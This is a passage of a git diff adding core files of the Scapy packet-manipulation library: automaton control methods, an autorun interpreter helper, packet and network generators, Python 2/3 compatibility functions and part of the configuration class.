+                    raise self.Stuck("stuck in [%s]" % self.state.state,
+                                     state=self.state.state, result=state_output)
+    
+                # Finally listen and pay attention to timeouts
+                expirations = iter(self.timeout[self.state.state])
+                next_timeout,timeout_func = next(expirations)
+                t0 = time.time()
+                
+                fds = [self.cmdin]
+                if len(self.recv_conditions[self.state.state]) > 0:
+                    fds.append(self.listen_sock)
+                for ioev in self.ioevents[self.state.state]:
+                    fds.append(self.ioin[ioev.atmt_ioname])
+                while True:
+                    t = time.time()-t0
+                    if next_timeout is not None:
+                        if next_timeout <= t:
+                            self._run_condition(timeout_func, *state_output)
+                            next_timeout,timeout_func = next(expirations)
+                    if next_timeout is None:
+                        remain = None
+                    else:
+                        remain = next_timeout-t
+    
+                    self.debug(5, "Select on %r" % fds)
+                    r = select_objects(fds, remain)
+                    self.debug(5, "Selected %r" % r)
+                    for fd in r:
+                        self.debug(5, "Looking at %r" % fd)
+                        if fd == self.cmdin:
+                            yield self.CommandMessage("Received command message")
+                        elif fd == self.listen_sock:
+                            try:
+                                pkt = self.listen_sock.recv(MTU)
+                            except recv_error:
+                                pass
+                            else:
+                                if pkt is not None:
+                                    if self.master_filter(pkt):
+                                        self.debug(3, "RECVD: %s" % pkt.summary())
+                                        for rcvcond in self.recv_conditions[self.state.state]:
+                                            self._run_condition(rcvcond, pkt, *state_output)
+                                    else:
+                                        self.debug(4, "FILTR: %s" % pkt.summary())
+                        else:
+                            self.debug(3, "IOEVENT on %s" % fd.ioname)
+                            for ioevt in self.ioevents[self.state.state]:
+                                if ioevt.atmt_ioname == fd.ioname:
+                                    self._run_condition(ioevt, fd, *state_output)
+    
+            except ATMT.NewStateRequested as state_req:
+                self.debug(2, "switching from [%s] to [%s]" % (self.state.state,state_req.state))
+                self.state = state_req
+                yield state_req
+
+    ## Public API
+    def add_interception_points(self, *ipts):
+        for ipt in ipts:
+            if hasattr(ipt,"atmt_state"):
+                ipt = ipt.atmt_state
+            self.interception_points.add(ipt)
+        
+    def remove_interception_points(self, *ipts):
+        for ipt in ipts:
+            if hasattr(ipt,"atmt_state"):
+                ipt = ipt.atmt_state
+            self.interception_points.discard(ipt)
+
+    def add_breakpoints(self, *bps):
+        for bp in bps:
+            if hasattr(bp,"atmt_state"):
+                bp = bp.atmt_state
+            self.breakpoints.add(bp)
+
+    def remove_breakpoints(self, *bps):
+        for bp in bps:
+            if hasattr(bp,"atmt_state"):
+                bp = bp.atmt_state
+            self.breakpoints.discard(bp)
+
+    def start(self, *args, **kargs):
+        if not self.started.locked():
+            self._do_start(*args, **kargs)
+        
+    def run(self, resume=None, wait=True):
+        if resume is None:
+            resume = Message(type = _ATMT_Command.RUN)
+        self.cmdin.send(resume)
+        if wait:
+            try:
+                c = self.cmdout.recv()
+            except KeyboardInterrupt:
+                self.cmdin.send(Message(type = _ATMT_Command.FREEZE))
+                return
+            if c.type == _ATMT_Command.END:
+                return c.result
+            elif c.type == _ATMT_Command.INTERCEPT:
+                raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt)
+            elif c.type == _ATMT_Command.SINGLESTEP:
+                raise self.Singlestep("singlestep state=[%s]"%c.state.state, state=c.state.state)
+            elif c.type == _ATMT_Command.BREAKPOINT:
+                raise self.Breakpoint("breakpoint triggered on state [%s]"%c.state.state, state=c.state.state)
+            elif c.type == _ATMT_Command.EXCEPTION:
+                six.reraise(c.exc_info[0], c.exc_info[1], c.exc_info[2])
+
+    def runbg(self, resume=None, wait=False):
+        self.run(resume, wait)
+
+    def next(self):
+        return self.run(resume = Message(type=_ATMT_Command.NEXT))
+    __next__ = next
+
+    def stop(self):
+        self.cmdin.send(Message(type=_ATMT_Command.STOP))
+        with self.started:
+            # Flush command pipes
+            while True:
+                r = select_objects([self.cmdin, self.cmdout], 0)
+                if not r:
+                    break
+                for fd in r:
+                    fd.recv()
+                
+    def restart(self, *args, **kargs):
+        self.stop()
+        self.start(*args, **kargs)
+
+    def accept_packet(self, pkt=None, wait=False):
+        rsm = Message()
+        if pkt is None:
+            rsm.type = _ATMT_Command.ACCEPT
+        else:
+            rsm.type = _ATMT_Command.REPLACE
+            rsm.pkt = pkt
+        return self.run(resume=rsm, wait=wait)
+
+    def reject_packet(self, wait=False):
+        rsm = Message(type = _ATMT_Command.REJECT)
+        return self.run(resume=rsm, wait=wait)
+
+    
+
diff --git a/scapy/autorun.py b/scapy/autorun.py
new file mode 100644
index 0000000..b20cde6
--- /dev/null
+++ b/scapy/autorun.py
@@ -0,0 +1,148 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Run commands when the Scapy interpreter starts.
+"""
+
+from __future__ import print_function
+import code, sys, importlib
+from scapy.config import conf
+from scapy.themes import *
+from scapy.error import Scapy_Exception
+from scapy.utils import tex_escape
+import scapy.modules.six as six
+
+
+#########################
+##### Autorun stuff #####
+#########################
+
+class StopAutorun(Scapy_Exception):
+    code_run = ""
+
+class ScapyAutorunInterpreter(code.InteractiveInterpreter):
+    def __init__(self, *args, **kargs):
+        code.InteractiveInterpreter.__init__(self, *args, **kargs)
+        self.error = 0
+    def showsyntaxerror(self, *args, **kargs):
+        self.error = 1
+        return code.InteractiveInterpreter.showsyntaxerror(self, *args, **kargs)
+    def showtraceback(self, *args, **kargs):
+        self.error = 1
+        exc_type, exc_value, exc_tb = sys.exc_info()
+        if isinstance(exc_value, StopAutorun):
+            raise exc_value
+        return code.InteractiveInterpreter.showtraceback(self, *args, **kargs)
+
+
+def autorun_commands(cmds, my_globals=None, ignore_globals=None, verb=0):
+    sv = conf.verb
+    try:
+        try:
+            if my_globals is None:
+                my_globals = importlib.import_module(".all", "scapy").__dict__
+                if ignore_globals:
+                    for ig in ignore_globals:
+                        my_globals.pop(ig, None)
+            conf.verb = verb
+            interp = ScapyAutorunInterpreter(my_globals)
+            cmd = ""
+            cmds = cmds.splitlines()
+            cmds.append("") # ensure we finish multi-line commands
+            cmds.reverse()
+            six.moves.builtins.__dict__["_"] = None
+            while True:
+                if cmd:
+                    sys.stderr.write(sys.__dict__.get("ps2","... "))
+                else:
+                    sys.stderr.write(str(sys.__dict__.get("ps1", sys.ps1)))
+                    
+                l = cmds.pop()
+                print(l)
+                cmd += "\n"+l
+                if interp.runsource(cmd):
+                    continue
+                if interp.error:
+                    return 0
+                cmd = ""
+                if len(cmds) <= 1:
+                    break
+        except SystemExit:
+            pass
+    finally:
+        conf.verb = sv
+    return _
+
+def autorun_get_interactive_session(cmds, **kargs):
+    class StringWriter:
+        def __init__(self):
+            self.s = ""
+        def write(self, x):
+            self.s += x
+        def flush(self):
+            pass
+            
+    sw = StringWriter()
+    sstdout,sstderr = sys.stdout,sys.stderr
+    try:
+        try:
+            sys.stdout = sys.stderr = sw
+            res = autorun_commands(cmds, **kargs)
+        except StopAutorun as e:
+            e.code_run = sw.s
+            raise
+    finally:
+        sys.stdout,sys.stderr = sstdout,sstderr
+    return sw.s,res
+
+def autorun_get_text_interactive_session(cmds, **kargs):
+    ct = conf.color_theme
+    try:
+        conf.color_theme = NoTheme()
+        s,res = autorun_get_interactive_session(cmds, **kargs)
+    finally:
+        conf.color_theme = ct
+    return s,res
+
+def autorun_get_ansi_interactive_session(cmds, **kargs):
+    ct = conf.color_theme
+    try:
+        conf.color_theme = DefaultTheme()
+        s,res = autorun_get_interactive_session(cmds, **kargs)
+    finally:
+        conf.color_theme = ct
+    return s,res
+
+def autorun_get_html_interactive_session(cmds, **kargs):
+    ct = conf.color_theme
+    to_html = lambda s: s.replace("<","&lt;").replace(">","&gt;").replace("#[#","<").replace("#]#",">")
+    try:
+        try:
+            conf.color_theme = HTMLTheme2()
+            s,res = autorun_get_interactive_session(cmds, **kargs)
+        except StopAutorun as e:
+            e.code_run = to_html(e.code_run)
+            raise
+    finally:
+        conf.color_theme = ct
+    
+    return to_html(s),res
+
+def autorun_get_latex_interactive_session(cmds, **kargs):
+    ct = conf.color_theme
+    to_latex = lambda s: tex_escape(s).replace("@[@","{").replace("@]@","}").replace("@`@","\\")
+    try:
+        try:
+            conf.color_theme = LatexTheme2()
+            s,res = autorun_get_interactive_session(cmds, **kargs)
+        except StopAutorun as e:
+            e.code_run = to_latex(e.code_run)
+            raise
+    finally:
+        conf.color_theme = ct
+    return to_latex(s),res
+
+
diff --git a/scapy/base_classes.py b/scapy/base_classes.py
new file mode 100644
index 0000000..85c47f5
--- /dev/null
+++ b/scapy/base_classes.py
@@ -0,0 +1,272 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Generators and packet meta classes.
+"""
+
+###############
+## Generators ##
+################
+
+from __future__ import absolute_import
+import re,random,socket
+import types
+from scapy.modules.six.moves import range
+
+class Gen(object):
+    __slots__ = []
+    def __iter__(self):
+        return iter([])
+    
+class SetGen(Gen):
+    def __init__(self, values, _iterpacket=1):
+        self._iterpacket=_iterpacket
+        if isinstance(values, (list, BasePacketList)):
+            self.values = list(values)
+        elif (isinstance(values, tuple) and (2 <= len(values) <= 3) and \
+             all(hasattr(i, "__int__") for i in values)):
+            # We use values[1] + 1 as stop value for (x)range to maintain
+            # the behavior of using tuples as field `values`
+            self.values = [range(*((int(values[0]), int(values[1]) + 1)
+                                    + tuple(int(v) for v in values[2:])))]
+        else:
+            self.values = [values]
+    def transf(self, element):
+        return element
+    def __iter__(self):
+        for i in self.values:
+            if (isinstance(i, Gen) and
+                (self._iterpacket or not isinstance(i,BasePacket))) or (
+                    isinstance(i, (range, types.GeneratorType))):
+                for j in i:
+                    yield j
+            else:
+                yield i
+    def __repr__(self):
+        return "<SetGen %r>" % self.values
+
+class Net(Gen):
+    """Generate a list of IPs from a network address or a name"""
+    name = "ip"
+    ip_regex = re.compile(r"^(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)(/[0-3]?[0-9])?$")
+
+    @staticmethod
+    def _parse_digit(a,netmask):
+        netmask = min(8,max(netmask,0))
+        if a == "*":
+            a = (0,256)
+        elif a.find("-") >= 0:
+            x, y = [int(d) for d in a.split('-')]
+            if x > y:
+                y = x
+            a = (x &  (0xff<<netmask) , max(y, (x | (0xff>>(8-netmask))))+1)
+        else:
+            a = (int(a) & (0xff<<netmask),(int(a) | (0xff>>(8-netmask)))+1)
+        return a
+
+    @classmethod
+    def _parse_net(cls, net):
+        tmp=net.split('/')+["32"]
+        if not cls.ip_regex.match(net):
+            tmp[0]=socket.gethostbyname(tmp[0])
+        netmask = int(tmp[1])
+        ret_list = [cls._parse_digit(x, y-netmask) for (x, y) in zip(tmp[0].split('.'), [8, 16, 24, 32])]
+        return ret_list, netmask
+
+    def __init__(self, net):
+        self.repr=net
+        self.parsed,self.netmask = self._parse_net(net)
+
+    def __str__(self):
+        try:
+            return next(self.__iter__())
+        except StopIteration:
+            return None
+                                                                                               
+    def __iter__(self):
+        for d in range(*self.parsed[3]):
+            for c in range(*self.parsed[2]):
+                for b in range(*self.parsed[1]):
+                    for a in range(*self.parsed[0]):
+                        yield "%i.%i.%i.%i" % (a,b,c,d)
+    def choice(self):
+        ip = []
+        for v in self.parsed:
+            ip.append(str(random.randint(v[0],v[1]-1)))
+        return ".".join(ip) 
+                          
+    def __repr__(self):
+        return "Net(%r)" % self.repr
+    def __eq__(self, other):
+        if hasattr(other, "parsed"):
+            p2 = other.parsed
+        else:
+            p2,nm2 = self._parse_net(other)
+        return self.parsed == p2
+    def __contains__(self, other):
+        if hasattr(other, "parsed"):
+            p2 = other.parsed
+        else:
+            p2,nm2 = self._parse_net(other)
+        for (a1,b1),(a2,b2) in zip(self.parsed,p2):
+            if a1 > a2 or b1 < b2:
+                return False
+        return True
+    def __rcontains__(self, other):        
+        return self in self.__class__(other)
+        
+
+class OID(Gen):
+    name = "OID"
+    def __init__(self, oid):
+        self.oid = oid        
+        self.cmpt = []
+        fmt = []        
+        for i in oid.split("."):
+            if "-" in i:
+                fmt.append("%i")
+                self.cmpt.append(tuple(map(int, i.split("-"))))
+            else:
+                fmt.append(i)
+        self.fmt = ".".join(fmt)
+    def __repr__(self):
+        return "OID(%r)" % self.oid
+    def __iter__(self):        
+        ii = [k[0] for k in self.cmpt]
+        while True:
+            yield self.fmt % tuple(ii)
+            i = 0
+            while True:
+                if i >= len(ii):
+                    raise StopIteration
+                if ii[i] < self.cmpt[i][1]:
+                    ii[i]+=1
+                    break
+                else:
+                    ii[i] = self.cmpt[i][0]
+                i += 1
+
+
+ 
+######################################
+## Packet abstract and base classes ##
+######################################
+
+class Packet_metaclass(type):
+    def __new__(cls, name, bases, dct):
+        if "fields_desc" in dct: # perform resolution of references to other packets
+            current_fld = dct["fields_desc"]
+            resolved_fld = []
+            for f in current_fld:
+                if isinstance(f, Packet_metaclass): # reference to another fields_desc
+                    for f2 in f.fields_desc:
+                        resolved_fld.append(f2)
+                else:
+                    resolved_fld.append(f)
+        else: # look for a fields_desc in parent classes
+            resolved_fld = None
+            for b in bases:
+                if hasattr(b,"fields_desc"):
+                    resolved_fld = b.fields_desc
+                    break
+
+        if resolved_fld: # perform default value replacements
+            final_fld = []
+            for f in resolved_fld:
+                if f.name in dct:
+                    f = f.copy()
+                    f.default = dct[f.name]
+                    del(dct[f.name])
+                final_fld.append(f)
+
+            dct["fields_desc"] = final_fld
+
+        if "__slots__" not in dct:
+            dct["__slots__"] = []
+        for attr in ["name", "overload_fields"]:
+            try:
+                dct["_%s" % attr] = dct.pop(attr)
+            except KeyError:
+                pass
+        newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct)
+        newcls.__all_slots__ = set(
+            attr
+            for cls in newcls.__mro__ if hasattr(cls, "__slots__")
+            for attr in cls.__slots__
+        )
+
+        if hasattr(newcls, "aliastypes"):
+            newcls.aliastypes = [newcls] + newcls.aliastypes
+        else:
+            newcls.aliastypes = [newcls]
+
+        if hasattr(newcls,"register_variant"):
+            newcls.register_variant()
+        for f in newcls.fields_desc:
+            if hasattr(f, "register_owner"):
+                f.register_owner(newcls)
+        from scapy import config
+        config.conf.layers.register(newcls)
+        return newcls
+
+    def __getattr__(self, attr):
+        for k in self.fields_desc:
+            if k.name == attr:
+                return k
+        raise AttributeError(attr)
+
+    def __call__(cls, *args, **kargs):
+        if "dispatch_hook" in cls.__dict__:
+            try:
+                cls = cls.dispatch_hook(*args, **kargs)
+            except:
+                from scapy import config
+                if config.conf.debug_dissector:
+                    raise
+                cls = config.conf.raw_layer
+        i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
+        i.__init__(*args, **kargs)
+        return i
+
+class Field_metaclass(type):
+    def __new__(cls, name, bases, dct):
+        if "__slots__" not in dct:
+            dct["__slots__"] = []
+        newcls = super(Field_metaclass, cls).__new__(cls, name, bases, dct)
+        return newcls
+
+class NewDefaultValues(Packet_metaclass):
+    """NewDefaultValues is deprecated (not needed anymore)
+    
+    remove this:
+        __metaclass__ = NewDefaultValues
+    and it should still work.
+    """    
+    def __new__(cls, name, bases, dct):
+        from scapy.error import log_loading
+        import traceback
+        try:
+            for tb in traceback.extract_stack()+[("??",-1,None,"")]:
+                f,l,_,line = tb
+                if line.startswith("class"):
+                    break
+        except:
+            f,l="??",-1
+            raise
+        log_loading.warning("Deprecated (no more needed) use of NewDefaultValues  (%s l. %i).", f, l)
+        
+        return super(NewDefaultValues, cls).__new__(cls, name, bases, dct)
+
+class BasePacket(Gen):
+    __slots__ = []
+
+
+#############################
+## Packet list base class  ##
+#############################
+
+class BasePacketList(object):
+    __slots__ = []
diff --git a/scapy/compat.py b/scapy/compat.py
new file mode 100644
index 0000000..d00029a
--- /dev/null
+++ b/scapy/compat.py
@@ -0,0 +1,135 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Copyright (C) Gabriel Potter <gabriel@potter.fr>
+## This program is published under a GPLv2 license
+
+"""
+Python 2 and 3 link classes.
+"""
+
+from __future__ import absolute_import
+import base64
+import binascii
+
+import scapy.modules.six as six
+
+###########
+# Python3 #
+###########
+
+def cmp_to_key(mycmp):
+    # TODO remove me once all 'key=cmp_to_key(..)' has been fixed in utils6.py, automaton.py
+    """Convert a cmp= function into a key= function.
+    To use with sort()
+
+    e.g: def stg_cmp(a, b):
+            return a == b
+    list.sort(key=cmp_to_key(stg_cmp))
+    """
+    class K(object):
+        def __init__(self, obj, *args):
+            self.obj = obj
+        def __lt__(self, other):
+            return mycmp(self.obj, other.obj) < 0
+        def __gt__(self, other):
+            return mycmp(self.obj, other.obj) > 0
+        def __eq__(self, other):
+            return mycmp(self.obj, other.obj) == 0
+        def __le__(self, other):
+            return mycmp(self.obj, other.obj) <= 0  
+        def __ge__(self, other):
+            return mycmp(self.obj, other.obj) >= 0
+        def __ne__(self, other):
+            return mycmp(self.obj, other.obj) != 0
+    return K
+
+def cmp(a, b):
+    """Old Python 2 function"""
+    return (a > b) - (a < b)
+
+
+if six.PY2:
+    def orb(x):
+        """Return ord(x) when necessary."""
+        if isinstance(x, basestring):
+            return ord(x)
+        return x
+else:
+    def orb(x):
+        """Return ord(x) when necessary."""
+        if isinstance(x, (bytes, str)):
+            return ord(x)
+        return x
+
+
+if six.PY2:
+    def raw(x):
+        """Convert a str, a packet to bytes"""
+        if x is None:
+            return None
+        if hasattr(x, "__bytes__"):
+            return x.__bytes__()
+        try:
+            return chr(x)
+        except (ValueError, TypeError):
+            return str(x)
+
+    def plain_str(x):
+        """Convert basic byte objects to str"""
+        return x if isinstance(x, basestring) else str(x)
+
+    def chb(x):
+        """Same than chr() but encode as bytes.
+
+        """
+        if isinstance(x, bytes):
+            return x
+        else:
+            if hasattr(x, "__int__") and not isinstance(x, int):
+                return bytes(chr(int(x)))
+            return bytes(chr(x))
+else:
+    def raw(x):
+        """Convert a str, an int, a list of ints, a packet to bytes"""
+        try:
+            return bytes(x)
+        except TypeError:
+            return bytes(x, encoding="utf8")
+
+    def plain_str(x):
+        """Convert basic byte objects to str"""
+        if isinstance(x, bytes):
+            return x.decode('utf8')
+        return x if isinstance(x, str) else str(x)
+
+    def chb(x):
+        """Same than chr() but encode as bytes.
+
+        """
+        if isinstance(x, bytes):
+            return x
+        else:
+            if hasattr(x, "__int__") and not isinstance(x, int):
+                return bytes([int(x)])
+            return bytes([x])
+
+def bytes_hex(x):
+    """Hexify a str or a bytes object"""
+    return binascii.b2a_hex(raw(x))
+
+def hex_bytes(x):
+    """De-hexify a str or a byte object"""
+    return binascii.a2b_hex(raw(x))
+
+def base64_bytes(x):
+    """Turn base64 into bytes"""
+    if six.PY2:
+        return base64.decodestring(x)
+    return base64.decodebytes(raw(x))
+
+def bytes_base64(x):
+    """Turn bytes into base64"""
+    if six.PY2:
+        return base64.encodestring(x).replace('\n', '')
+    return base64.encodebytes(raw(x)).replace(b'\n', b'')
diff --git a/scapy/config.py b/scapy/config.py
new file mode 100755
index 0000000..13e10d2
--- /dev/null
+++ b/scapy/config.py
@@ -0,0 +1,485 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Implementation of the configuration object.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import os,time,socket,sys
+
+from scapy import VERSION
+from scapy.data import *
+from scapy import base_classes
+from scapy.themes import NoTheme, apply_ipython_style
+from scapy.error import log_scapy
+import scapy.modules.six as six
+
+############
+## Config ##
+############
+
+class ConfClass(object):
+    def configure(self, cnf):
+        self.__dict__ = cnf.__dict__.copy()
+    def __repr__(self):
+        return str(self)
+    def __str__(self):
+        s = ""
+        keys = self.__class__.__dict__.copy()
+        keys.update(self.__dict__)
+        keys = sorted(keys)
+        for i in keys:
+            if i[0] != "_":
+                r = repr(getattr(self, i))
+                r = " ".join(r.split())
+                wlen = 76-max(len(i),10)
+                if len(r) > wlen:
+                    r = r[:wlen-3]+"..."
+                s += "%-10s = %s\n" % (i, r)
+        return s[:-1]
+
+class Interceptor(object):
+    def __init__(self, name, default, hook, args=None, kargs=None):
+        self.name = name
+        self.intname = "_intercepted_%s" % name
+        self.default=default
+        self.hook = hook
+        self.args = args if args is not None else []
+        self.kargs = kargs if kargs is not None else {}
+    def __get__(self, obj, typ=None):
+        if not hasattr(obj, self.intname):
+            setattr(obj, self.intname, self.default)
+        return getattr(obj, self.intname)
+    def __set__(self, obj, val):
+        setattr(obj, self.intname, val)
+        self.hook(self.name, val, *self.args, **self.kargs)
+
+    
+class ProgPath(ConfClass):
+    pdfreader = "acroread"
+    psreader = "gv"
+    dot = "dot"
+    display = "display"
+    tcpdump = "tcpdump"
+    tcpreplay = "tcpreplay"
+    hexedit = "hexer"
+    tshark = "tshark"
+    wireshark = "wireshark"
+    ifconfig = "ifconfig"
+
+
+class ConfigFieldList:
+    def __init__(self):
+        self.fields = set()
+        self.layers = set()
+    @staticmethod
+    def _is_field(f):
+        return hasattr(f, "owners")
+    def _recalc_layer_list(self):
+        self.layers = {owner for f in self.fields for owner in f.owners}
+    def add(self, *flds):
+        self.fields |= {f for f in flds if self._is_field(f)}
+        self._recalc_layer_list()
+    def remove(self, *flds):
+        self.fields -= set(flds)
+        self._recalc_layer_list()
+    def __contains__(self, elt):
+        if isinstance(elt, base_classes.Packet_metaclass):
+            return elt in self.layers
+        return elt in self.fields
+    def __repr__(self):
+        return "<%s [%s]>" %  (self.__class__.__name__," ".join(str(x) for x in self.fields))
+
+class Emphasize(ConfigFieldList):
+    pass
+
+class Resolve(ConfigFieldList):
+    pass
+    
+
+class Num2Layer:
+    def __init__(self):
+        self.num2layer = {}
+        self.layer2num = {}
+        
+    def register(self, num, layer):
+        self.register_num2layer(num, layer)
+        self.register_layer2num(num, layer)
+        
+    def register_num2layer(self, num, layer):
+        self.num2layer[num] = layer
+    def register_layer2num(self, num, layer):
+        self.layer2num[layer] = num
+
+    def __getitem__(self, item):
+        if isinstance(item, base_classes.Packet_metaclass):
+            return self.layer2num[item]
+        return self.num2layer[item]
+    def __contains__(self, item):
+        if isinstance(item, base_classes.Packet_metaclass):
+            return item in self.layer2num
+        return item in self.num2layer
+    def get(self, item, default=None):
+        if item in self:
+            return self[item]
+        return default
+    
+    def __repr__(self):
+        lst = []
+        for num,layer in six.iteritems(self.num2layer):
+            if layer in self.layer2num and self.layer2num[layer] == num:
+                dir = "<->"
+            else:
+                dir = " ->"
+            lst.append((num,"%#6x %s %-20s (%s)" % (num, dir, layer.__name__,
+                                                    layer._name)))
+        for layer,num in six.iteritems(self.layer2num):
+            if num not in self.num2layer or self.num2layer[num] != layer:
+                lst.append((num,"%#6x <-  %-20s (%s)" % (num, layer.__name__,
+                                                         layer._name)))
+        lst.sort()
+        return "\n".join(y for x,y in lst)
+
+
+class LayersList(list):
+    def __repr__(self):
+        s=[]
+        for l in self:
+            s.append("%-20s: %s" % (l.__name__,l.name))
+        return "\n".join(s)
+    def register(self, layer):
+        self.append(layer)
+
+class CommandsList(list):
+    def __repr__(self):
+        s=[]
+        for l in sorted(self,key=lambda x:x.__name__):
+            if l.__doc__:
+                doc = l.__doc__.split("\n")[0]
+            else:
+                doc = "--"
+            s.append("%-20s: %s" % (l.__name__,doc))
+        return "\n".join(s)
+    def register(self, cmd):
+        self.append(cmd)
+        return cmd # return cmd so that method can be used as a decorator
+
+def lsc():
+    print(repr(conf.commands))
+
+class CacheInstance(dict, object):
+    __slots__ = ["timeout", "name", "_timetable", "__dict__"]
+    def __init__(self, name="noname", timeout=None):
+        self.timeout = timeout
+        self.name = name
+        self._timetable = {}
+    def flush(self):
+        self.__init__(name=self.name, timeout=self.timeout)
+    def __getitem__(self, item):
+        if item in self.__slots__:
+            return object.__getattribute__(self, item)
+        val = dict.__getitem__(self,item)
+        if self.timeout is not None:
+            t = self._timetable[item]
+            if time.time()-t > self.timeout:
+                raise KeyError(item)
+        return val
+    def get(self, item, default=None):
+        # overloading this method is needed to force the dict to go through
+        # the timetable check
+        try:
+            return self[item]
+        except KeyError:
+            return default
+    def __setitem__(self, item, v):
+        if item in self.__slots__:
+            return object.__setattr__(self, item, v)
+        self._timetable[item] = time.time()
+        dict.__setitem__(self, item,v)
+    def update(self, other):
+        for key, value in other.iteritems():
+            # We only update an element from `other` either if it does
+            # not exist in `self` or if the entry in `self` is older.
+            if key not in self or self._timetable[key] < other._timetable[key]:
+                dict.__setitem__(self, key, value)
+                self._timetable[key] = other._timetable[key]
+    def iteritems(self):
+        if self.timeout is None:
+            return six.iteritems(self.__dict__)
+        t0=time.time()
+        return ((k,v) for (k,v) in six.iteritems(self.__dict__) if t0-self._timetable[k] < self.timeout)
+    def iterkeys(self):
+        if self.timeout is None:
+            return six.iterkeys(self.__dict__)
+        t0=time.time()
+        return (k for k in six.iterkeys(self.__dict__) if t0-self._timetable[k] < self.timeout)
+    def __iter__(self):
+        return six.iterkeys(self.__dict__)
+    def itervalues(self):
+        if self.timeout is None:
+            return six.itervalues(self.__dict__)
+        t0=time.time()
+        return (v for (k,v) in six.iteritems(self.__dict__) if t0-self._timetable[k] < self.timeout)
+    def items(self):
+        if self.timeout is None:
+            return dict.items(self)
+        t0=time.time()
+        return [(k,v) for (k,v) in six.iteritems(self.__dict__) if t0-self._timetable[k] < self.timeout]
+    def keys(self):
+        if self.timeout is None:
+            return dict.keys(self)
+        t0=time.time()
+        return [k for k in six.iterkeys(self.__dict__) if t0-self._timetable[k] < self.timeout]
+    def values(self):
+        if self.timeout is None:
+            return six.values(self)
+        t0=time.time()
+        return [v for (k,v) in six.iteritems(self.__dict__) if t0-self._timetable[k] < self.timeout]
+    def __len__(self):
+        if self.timeout is None:
+            return dict.__len__(self)
+        return len(self.keys())
+    def summary(self):
+        return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout)
+    def __repr__(self):
+        s = []
+        if self:
+            mk = max(len(k) for k in six.iterkeys(self.__dict__))
+            fmt = "%%-%is %%s" % (mk+1)
+            for item in six.iteritems(self.__dict__):
+                s.append(fmt % item)
+        return "\n".join(s)
+            
+            
+
+
+class NetCache:
+    def __init__(self):
+        self._caches_list = []
+
+
+    def add_cache(self, cache):
+        self._caches_list.append(cache)
+        setattr(self,cache.name,cache)
+    def new_cache(self, name, timeout=None):
+        c = CacheInstance(name=name, timeout=timeout)
+        self.add_cache(c)
+    def __delattr__(self, attr):
+        raise AttributeError("Cannot delete attributes")
+    def update(self, other):
+        for co in other._caches_list:
+            if hasattr(self, co.name):
+                getattr(self,co.name).update(co)
+            else:
+                self.add_cache(co.copy())
+    def flush(self):
+        for c in self._caches_list:
+            c.flush()
+    def __repr__(self):
+        return "\n".join(c.summary() for c in self._caches_list)
+        
+
+class LogLevel(object):
+    def __get__(self, obj, otype):
+        return obj._logLevel
+    def __set__(self,obj,val):
+        log_scapy.setLevel(val)
+        obj._logLevel = val
+        
+
+def isCryptographyValid():
+    """
+    Check if the cryptography library is present, and if it is recent enough
+    for most usages in scapy (v1.7 or later).
+    """
+    try:
+        import cryptography
+    except ImportError:
+        return False
+    from distutils.version import LooseVersion
+    return LooseVersion(cryptography.__version__) >= LooseVersion("1.7")
+
+
+def isCryptographyAdvanced():
+    """
+    Check if the cryptography library is present, and if it supports X25519,
+    ChaCha20Poly1305 and such (v2.0 or later).
+    """
+    try:
+        import cryptography
+    except ImportError:
+        return False
+    from distutils.version import LooseVersion
+    lib_valid = LooseVersion(cryptography.__version__) >= LooseVersion("2.0")
+    if not lib_valid:
+        return False
+
+    try:
+        from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey
+        X25519PrivateKey.generate()
+    except:
+        return False
+    else:
+        return True
+
+def isPyPy():
+    """Returns either scapy is running under PyPy or not"""
+    try:
+        import __pypy__
+        return True
+    except ImportError:
+        return False
+
+def _prompt_changer(attr, val):
+    """Change the current prompt theme"""
+    try:
+        sys.ps1 = conf.color_theme.prompt(conf.prompt)
+    except:
+        pass
+    try:
+        apply_ipython_style(get_ipython())
+    except NameError:
+        pass
+
+class Conf(ConfClass):
+    """This object contains the configuration of Scapy.
+session  : filename where the session will be saved
+interactive_shell : can be "ipython", "python" or "auto". Default: Auto
+stealth  : if 1, prevents any unwanted packet to go out (ARP, DNS, ...)
+checkIPID: if 0, doesn't check that IPID matches between IP sent and ICMP IP citation received
+           if 1, checks that they either are equal or byte swapped equals (bug in some IP stacks)
+           if 2, strictly checks that they are equals
+checkIPsrc: if 1, checks IP src in IP and ICMP IP citation match (bug in some NAT stacks)
+checkIPinIP: if True, checks that IP-in-IP layers match. If False, do not
+             check IP layers that encapsulates another IP layer
+check_TCPerror_seqack: if 1, also check that TCP seq and ack match the ones in ICMP citation
+iff      : selects the default output interface for srp() and sendp(). default:"eth0")
+verb     : level of verbosity, from 0 (almost mute) to 3 (verbose)
+promisc  : default mode for listening socket (to get answers if you spoof on a lan)
+sniff_promisc : default mode for sniff()
+filter   : bpf filter added to every sniffing socket to exclude traffic from analysis
+histfile : history file
+padding  : includes padding in disassembled packets
+except_filter : BPF filter for packets to ignore
+debug_match : when 1, store received packet that are not matched into debug.recv
+route    : holds the Scapy routing table and provides methods to manipulate it
+warning_threshold : how much time between warnings from the same place
+ASN1_default_codec: Codec used by default for ASN1 objects
+mib      : holds MIB direct access dictionary
+resolve  : holds list of fields for which resolution should be done
+noenum   : holds list of enum fields for which conversion to string should NOT be done
